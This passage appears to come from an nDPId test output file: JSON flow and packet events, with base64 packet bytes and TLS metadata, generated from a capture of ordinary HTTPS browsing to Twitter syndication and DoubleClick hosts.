MIGcghdzeW5kaWNhdGlvbi50d2l0dGVyLmNvbYIVc3luZGljYXRpb24udHdpbWcuY29tghlzeW5kaWNhdGlvbi1vLnR3aXR0ZXIuY29tghdzeW5kaWNhdGlvbi1vLnR3aW1nLmNvbYIbY2RuLnN5bmRpY2F0aW9uLnR3aXR0ZXIuY29tghljZG4uc3luZGljYXRpb24udHdpbWcuY29tMA4GA1UdDwEB\/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwdQYDVR0fBG4wbDA0oDKgMIYuaHR0cDovL2NybDMuZGlnaWNlcnQuY29tL3NoYTItaGEtc2VydmVyLWc2LmNybDA0oDKgMIYuaHR0cDovL2NybDQuZGlnaWNlcnQuY29tL3NoYTItaGEtc2VydmVyLWc2LmNybDBMBgNVHSAERTBDMDcGCWCGSAGG\/WwBATAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5jb20vQ1BTMAgGBmeBDAECAjCBgwYIKwYBBQUHAQEEdzB1MCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5jb20wTQYIKwYBBQUHMAKGQWh0dHA6Ly9jYWNlcnRzLmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydFNIQTJIaWdoQXNzdXJhbmNlU2VydmVyQ0EuY3J0MAwGA1UdEwEB\/wQCMAAwggEEBgorBgEEAdZ5AgQCBIH1BIHyAPAAdgCkuQmQtBhYFIe7E6LMZ3AKPA=="} +00892{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":3171,"source":"reddit.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":6,"flow_first_seen":1605291687800,"flow_last_seen":1605291688046,"flow_tot_l4_data_len":2113,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1420,"flow_avg_l4_data_len":352,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::68f4:2ac8","src_port":56782,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Twitter","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"syndication.twitter.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"8d2a028aa94425f76ced7826b1f39039","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00454{"flow_id":29,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3172,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":46258,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBEqMACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABo9CrI3c4Bu\/+MOcmdXWOxgBAB9aMlAAABAQgKTX6OS8LXQFY="} +02332{"flow_id":29,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3173,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":46580,"pkt_caplen":1474,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1474,"pkt_l4_len":1420,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABYwGPQBk\/5sAAAAAAAAAAGj0KsgqAcsBIEmLB5kd7IUo3\/YpAbvdzp1dY7H\/jDnJgBgLMCzRAAABAQgKwtdAVk1+jXI1mAT5G9+443fNDsgN3BAAAAFvZ6LfvgAABAMARzBFAiAxS\/Ot29MbR8KxFZ6tFIaKWQ3GfxloKz0mVv+99pnewgIhANqeu6PwtqohlWI\/juU9JkKhikE\/4tbpA0UzFdvmQ40AAHYAXqdz+d9WwOe1Nkh90EngMnqRmgyEoRIShBh1loFxRVgAAAFvZ6LfYwAABAMARzBFAiEAmzWmUaUveZS9vwd8C\/Ftw6fcpGDWCLCe60QIoRSl7p8CIC5IiUOl5UgXcj\/T4hTwQYRBPbXLozt1IQRv7auArWWuMA0GCSqGSIb3DQEBCwUAA4IBAQA2vw6MeTQ6UPft3tYgfQyv3k4GLQRdhQopc7oc8K0dXJ0ENCM1LkWW1BOFwFBC7H0ZiHy6lw35hkel\/rnjrCj12nNfydXl\/duWlFa44ty2jzetlMyc20M4EiiOK77zM+Gb5Atwl3ZeYDh0dTW+DE\/DgPZl9rwVvAVBcPGpCQRXXTpXMkTlqNVlDfW2g1yXrreZb1SVsJFawaO1Y94B7lOric3Vd8XZpFzYzeRu+Ptzp0kPMYGWOxnKFkgXJzxeJrJF3YEgsDl+MAy05RncH2IvFzr24hiq9bDbFRBtk6p0R3ELhBF2kI3vjm7ksJLRVJhpmBLFjjgpTsWyrFG3Q5eDAAS1MIIEsTCCA5mgAwIBAgIQBOHnpNxc8vNtwCtCuF0VnzANBgkqhkiG9w0BAQsFADBsMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSswKQYDVQQDEyJEaWdpQ2VydCBIaWdoIEFzc3VyYW5jZSBFViBSb290IENBMB4XDTEzMTAyMjEyMDAwMFoXDTI4MTAyMjEyMDAwMFowcDELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZMBcGA1UECxMQd3d3LmRpZ2ljZXJ0LmNvbTEvMC0GA1UEAxMmRGlnaUNlcnQgU0hBMiBIaWdoIEFzc3VyYW5jZSBTZXJ2ZXIgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC24C\/CJAbIbQRf1+8KZAayfSImZRauQkCbztyfn3YHPsMwVYcZuU+UDlqUH1VWtMICKq\/QmO4LQNfE0DtyyBSe75CxEamu0si4QzrZCwvV1ZX1QK\/IHe1NnF9Xt4ZQaJn1itrSxwUfqJfJ3KSxgoQtxq2lnMcZgqaFD15EWCo3j\/018QsIJzJa9buLnqS9UdAn4t07QjOjBSjEuyjMmqwrIw14xnvmXnG3Sj4I+4G3FhahnSMSTeXXkgisdaScus0Xsh5ENWV\/UyU50RwKmmMbGZJ0aAo3wsJSSMs5WqK24V3B3aAguCGikyZvFEohQcftbZvySC\/zA\/WiaJJTL17jAgMBAAGjggFJMIIBRTASBgNVHRMBAf8ECDAGAQH\/AgEAMA4GA1UdDwEB\/wQEAwIBhjAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5jb20wSwYDVR0fBEQwQjBAoD6gPIY6aHR0cDovL2NybDQuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0SGlnaEFzc3VyYW5jZUVWUm9vdENBLmNybDA9BgNVHSAENjA0MDIGBFUdIAAwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzAdBgNVHQ4EFgQUUWj\/kK8CB3U8zNllZA=="} +01357{"flow_id":29,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3174,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":46580,"pkt_caplen":749,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":749,"pkt_l4_len":695,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAArcGPQBk\/5sAAAAAAAAAAGj0KsgqAcsBIEmLB5kd7IUo3\/YpAbvdzp1daR3\/jDnJgBgLMJgiAAABAQgKwtdAVk1+jXJiohK4WXI7MB8GA1UdIwQYMBaAFLE+w2kD+L9HAdSYJhoIAu9jZCvDMA0GCSqGSIb3DQEBCwUAA4IBAQAYipWJA+Zt31z8HWjqSo+D1lEvjWtEFp6sY\/XSbmyEmYuqgXGEW+00TrC3eZIpzC2AavCOIOF5pP4DRxPq9YbKWXF99ASWa9NZWD3+0zElXBg4hKPmn4L9jFuYMU7NeJ4a\/YXLSaryJ4uZcvw+qtVBC9rVNqG\/HG5HSX9e2Uh8A9n9i0mgmCZCQOvWkhGkZApXVMT1HdYCXmus7sSAmhJy+laT1\/+\/MIUGML8Lf07\/VwWdJO2Fwyv7pnWorC0W7315J7Lrwp0LB+qqhdMBoyAoQVlDKNKB46r27Hs7d7ZAYoAFQUUB7xcGPt7AM5tn02EucofkafwSAFdAHnD1Hsm0FgMDAU0MAAFJAwAXQQRRP\/JUvszQqSvK5Bq1SnvhUJwShBlKDToo2XDMr5TpLF25MlojqIpYf8LIM5XJ\/rGSPtUuy2MbzJNrFJq31ugEBgEBAEJHQ8P+yVYw\/j6kQvMigeTykLEYqjZXCvwwxyXYKBq94i9fIVZeHp\/VHAs9yYLdkimQef6uMIVx5Ptv4k8oNwV77sNhatu5+\/+bkZCE6HYhaLS3OXFzVqP734hF+LUVz9032GptR4XHJRXecgTCOYx\/wfPc1yP6q9LMarkdDtgjoTtC89srf0rWZBgwsvf7uZ6QmTSmLbzvWkgFoZsdTq8vBQ7eZwZ40JHRl6S5av+QSqHPM0Z5kFxqm1Mhz9I7XBbT8x0zUS1h\/80UQLMOIQtiCUhKS2ioH2XAjDaHC2+tfpBNnP0aS6bY5fKipjuuhVk5rXVouqmeZ55o9NfLS\/sWAwMABA4AAAA="} +01337{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":3174,"source":"reddit.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":9,"flow_first_seen":1605291687800,"flow_last_seen":1605291688046,"flow_tot_l4_data_len":4260,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1420,"flow_avg_l4_data_len":473,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::68f4:2ac8","src_port":56782,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Twitter","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"syndication.twitter.com","server_names":"syndication.twitter.com,syndication.twimg.com,syndication-o.twitter.com,syndication-o.twimg.com,cdn.syndication.twitter.com,cdn.syndication.twimg.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"8d2a028aa94425f76ced7826b1f39039","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=DigiCert Inc, OU=www.digicert.com, CN=DigiCert SHA2 High Assurance Server CA","issuerDN":"C=US, ST=California, L=San Francisco, O=Twitter, Inc., OU=lon3, CN=syndication.twitter.com","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1","fingerprint":"09:D3:FE:9A:3E:39:A7:E2:90:5B:C9:1F:3B:7D:CE:7C:7E:08:1C:6F"}} +00455{"flow_id":29,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3177,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":46584,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBEqMACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABo9CrI3c4Bu\/+MOcmdXWkdgBAB9Z25AAABAQgKTX6OS8LXQFY="} +00455{"flow_id":29,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3178,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":46591,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBEqMACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABo9CrI3c4Bu\/+MOcmdXWu0gBAB85skAAABAQgKTX6OS8LXQFY="} +00628{"flow_id":29,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3189,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":48406,"pkt_caplen":212,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":212,"pkt_l4_len":158,"pkt":"qtsDr8lk5EKm5WPyht1gBEqMAJ4GQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABo9CrI3c4Bu\/+MOcmdXWu0gBgB9aVbAAABAQgKTX6OTcLXQFYWAwMARhAAAEJBBLxNGdavmW2r6LuhyaTtmynR54HIf1IbZbNGrqxJliXAuxyzExWIiumFL6ux6cBe6ohWZ6ComRXkrIQtAX1uevUUAwMAAQEWAwMAKAAAAAAAAAAAk6ZleW3+AoD\/yTrCsbJF5nmHROOCbTsZe7zF\/mKXSAM="} +00590{"flow_id":29,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3190,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":48594,"pkt_caplen":185,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":185,"pkt_l4_len":131,"pkt":"qtsDr8lk5EKm5WPyht1gBEqMAIMGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABo9CrI3c4Bu\/+MOkedXWu0gBgB9flNAAABAQgKTX6OTcLXQFYXAwMAXgAAAAAAAAABXeBZ8sXYkwQw6UX3auw42bdmluZV+emTj4s1arJ2DJJ9kcKNokCO5vNIL52Skml+PpYjv50KX0eeCQHuJjGWj6Y2YyM8sLhMbLO49mjZVvaG3Sj5ybM="} +00852{"flow_id":29,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3191,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":48624,"pkt_caplen":376,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":376,"pkt_l4_len":322,"pkt":"qtsDr8lk5EKm5WPyht1gBEqMAUIGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABo9CrI3c4Bu\/+MOqqdXWu0gBgB9efRAAABAQgKTX6OTcLXQFYXAwMBHQAAAAAAAAACatnzoHQBgYvP\/ixgeeomkpbEnAEnqL5EtsyBj9yFSIF1TSFOIXOMtXmoHUEjD+OYwvQZqg7gCv63hUrVFYtkBzJlQe5NpjytwvH404RU18yZencMtEbt7EHEEAr5S8KGPXCWhZOfB+nTGjfjNZvQLhdHOQusscC1OQd8ppBggdfEVePFwbxEKcp68IuTYEdo70J4DSrp7aqVfv1FOSqxfq\/qJuojGkXpFmdwVd8UAwD\/0i09pOWUKFBJk8zlqGLWJk6o5pFyQh+FHrHko\/eS+IoJVUc45nKjnWgepoDTYv4h6qi0Wy7KaEFZBT9KnVZQatk\/yqaLCPvohdqlnbSTWHqGa7WkbY5X2cKbkulFeklHJX\/OEA=="} +00853{"flow_id":29,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3233,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":118878,"pkt_caplen":376,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":376,"pkt_l4_len":322,"pkt":"qtsDr8lk5EKm5WPyht1gBEqMAUIGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABo9CrI3c4Bu\/+MOqqdXWu0gBgB9eeLAAABAQgKTX6Ok8LXQFYXAwMBHQAAAAAAAAACatnzoHQBgYvP\/ixgeeomkpbEnAEnqL5EtsyBj9yFSIF1TSFOIXOMtXmoHUEjD+OYwvQZqg7gCv63hUrVFYtkBzJlQe5NpjytwvH404RU18yZencMtEbt7EHEEAr5S8KGPXCWhZOfB+nTGjfjNZvQLhdHOQusscC1OQd8ppBggdfEVePFwbxEKcp68IuTYEdo70J4DSrp7aqVfv1FOSqxfq\/qJuojGkXpFmdwVd8UAwD\/0i09pOWUKFBJk8zlqGLWJk6o5pFyQh+FHrHko\/eS+IoJVUc45nKjnWgepoDTYv4h6qi0Wy7KaEFZBT9KnVZQatk\/yqaLCPvohdqlnbSTWHqGa7WkbY5X2cKbkulFeklHJX\/OEA=="} +01163{"flow_id":33,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3235,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":130841,"pkt_caplen":608,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":608,"pkt_l4_len":554,"pkt":"qtsDr8lk5EKm5WPyht1gA0MZAioGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAAAXNobxrOgBu0Y7yuYjS\/FkgBgB9VqQAAABAQgKUckwvMLXQEMXAwMCBdw9YPyptpUaPrvKXAia3WKdhxG3zwg0P6dw+SNWe27ET0dYGzK\/Zsa5BrcHi55wY5dT0gjkBtUm7iIAV1V+HpoK2kohrkXArOPR4DNPL\/5g72AXP4CIKcbUP9WcowBKdCydsWHWbIc\/O6Iix6COL1rk43PiNLDQbKcxCcoxsphBa1Vlyy7kdSITfFHXywmm4c3Ri82Lgp7hjo\/0vmKKg9baKer6SPkyK19MDfQ0bBpCLC0MJX2v0SrfgAjFHbVZiEaqW2HfPGefLKZIsnXLTIBmUUXF3cb5Li18lPTdEklYN2n0B0ND8LRXY3CCFtHC4ZGivJqoddRd3AeBYFqMiELgjnMrIxMZW6bRgiTBxe0nlEiNGb8c\/NzxA1br2krw+J8+V8mrggC9JD3lVhVcD14Nq8UkVH712hTB39AyhBm2yip+lmGnN4snUsquG2kOlzNHVS6rP7sMP9LnPkMTRFXNhSSFef+\/eDypsaHUpt3seXDOtxr4DaoZO92xLslr7TiW1hfmJMeE\/RpQYph2P2m6B+66jlvhwitJDbRdSRjf0OBOUYfjaUkQs7huNsu3QRqowkwXIXSfSTdTVBvTITlvdJsiIEN766V0CoTBHwyvaad37U02GfI80thwzympZpkNraCBW5GAVVdg4PtEkHQ9BdhimDr\/2fzBLLHcNXRNPuinI84="} +00808{"flow_id":32,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3237,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":134870,"pkt_caplen":344,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":344,"pkt_l4_len":290,"pkt":"qtsDr8lk5EKm5WPyht1gBZTsASIGQCoBywEgSYsHmR3shSjf9ikmIAEWgA0AIfkWUEn4fxCOvggBu9JG6zG2IiC6gBgB9SveAAABAQgK14pjRMLXQFAXAwMA\/QAAAAAAAAAC9pMun1ZqAdTi1F1kreffo29Ey700P\/1LxMn1WNIVaNH360u7qDLCs\/IdEMxFqj6MX5gwsKWlJpCdeeb1mXwtDV43E67V7Hvk0e7+IeYzBlROgwWrNJnpq70HiOHdVMaUa+yyKyfdo6W2KeMEedpBecer6+JlP2GKN58yOO0v0\/1nrhSb\/FJkQdAEqYJc1NSpkT8E9wRtf+gNDwG00+IGUrl\/FfIaitfxPWUn+flW35wuLjHv5lngue8VUBVFqhFj61eBdi3zXrykyFq1Iqyo6fUrWlPwkDT0pXBFhMCB91j0RhGkwQR5JLSluMEyKzXvzAiPQxk="} +00457{"flow_id":33,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3258,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":195660,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAABc2hvEqAcsBIEmLB5kd7IUo3\/YpAbus6CNL8WRGO8rmgBALOi35AAABAQgKwtdA9VHJMFc="} +00507{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3346,"source":"reddit.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1605291688324,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::d83a:d1e6","src_port":51100,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":34,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3346,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":324076,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gDP1bACgGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAADYOtHmx5wBu0pXpjQAAAAAoAL9INe7AAACBAWgBAIICn8mSwwAAAAAAQMDBw=="} +00507{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3358,"source":"reddit.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":1605291688336,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::d83a:d1e6","src_port":51102,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":35,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3358,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":336354,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gC0OFACgGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAADYOtHmx54BuzYIpzgAAAAAoAL9IOr4AAACBAWgBAIICn8mSxgAAAAAAQMDBw=="} +00525{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3372,"source":"reddit.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":1,"flow_first_seen":1605291688344,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2600:9000:219c:ee00:6:44e3:f8c0:93a1","src_port":56186,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":36,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3372,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":344280,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gATUNACgGQCoBywEgSYsHmR3shSjf9ikmAJAAIZzuAAAGROP4wJOh23oBu4m0PmAAAAAAoAL9ICpwAAACBAWgBAIICgi3lpgAAAAAAQMDBw=="} +00468{"flow_id":34,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3437,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":365155,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPQBk\/5sAAAAAAAAAANg60eYqAcsBIEmLB5kd7IUo3\/YpAbvHnC63k25KV6Y1oBJXgLbhAAACBAV4AQMDAwQCCArC10GYfyZLDA=="} +00454{"flow_id":34,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3438,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":365176,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDP1bACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAADYOtHmx5wBu0pXpjUut5NvgBAB+zrKAAABAQgKfyZLNcLXQZg="} +01148{"flow_id":34,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3439,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":365341,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gDP1bAiUGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAADYOtHmx5wBu0pXpjUut5NvgBgB+7buAAABAQgKfyZLNcLXQZgWAwECAAEAAfwDA4SpSUX6niItAQ8Maifw8WwrZv9VwJth3ahSGxyzgKqiIJ+TN+GJohJ\/sCFH1vMdRLlZ2ieR3T3a5tv50MEc6iCkACBqahMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZN6egAAAAAAFwAVAAASYWQuZG91YmxlY2xpY2submV0ABcAAP8BAAEAAAoACgAIamoAHQAXABgACwACAQAAIwAAABAADgAMAmgyCGh0dHAvMS4xAAUABQEAAAAAAA0AEgAQBAMIBAQBBQMIBQUBCAYGAQASAAAAMwArAClqagABAAAdACD\/3R8L0Iz+Y65v46jR4P68ZYP7Yr6kSULFXg4YFIANVgAtAAIBAQArAAsKenoDBAMDAwIDAQAbAAMCAAK6ugABAAAVAMoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00824{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3439,"source":"reddit.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":4,"flow_first_seen":1605291688324,"flow_last_seen":1605291688365,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::d83a:d1e6","src_port":51100,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"ad.doubleclick.net","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00468{"flow_id":35,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3440,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":370931,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPQBk\/5sAAAAAAAAAANg60eYqAcsBIEmLB5kd7IUo3\/YpAbvHnlMkjxA2CKc5oBJXgKoEAAACBAV4AQMDAwQCCArC10GjfyZLGA=="} 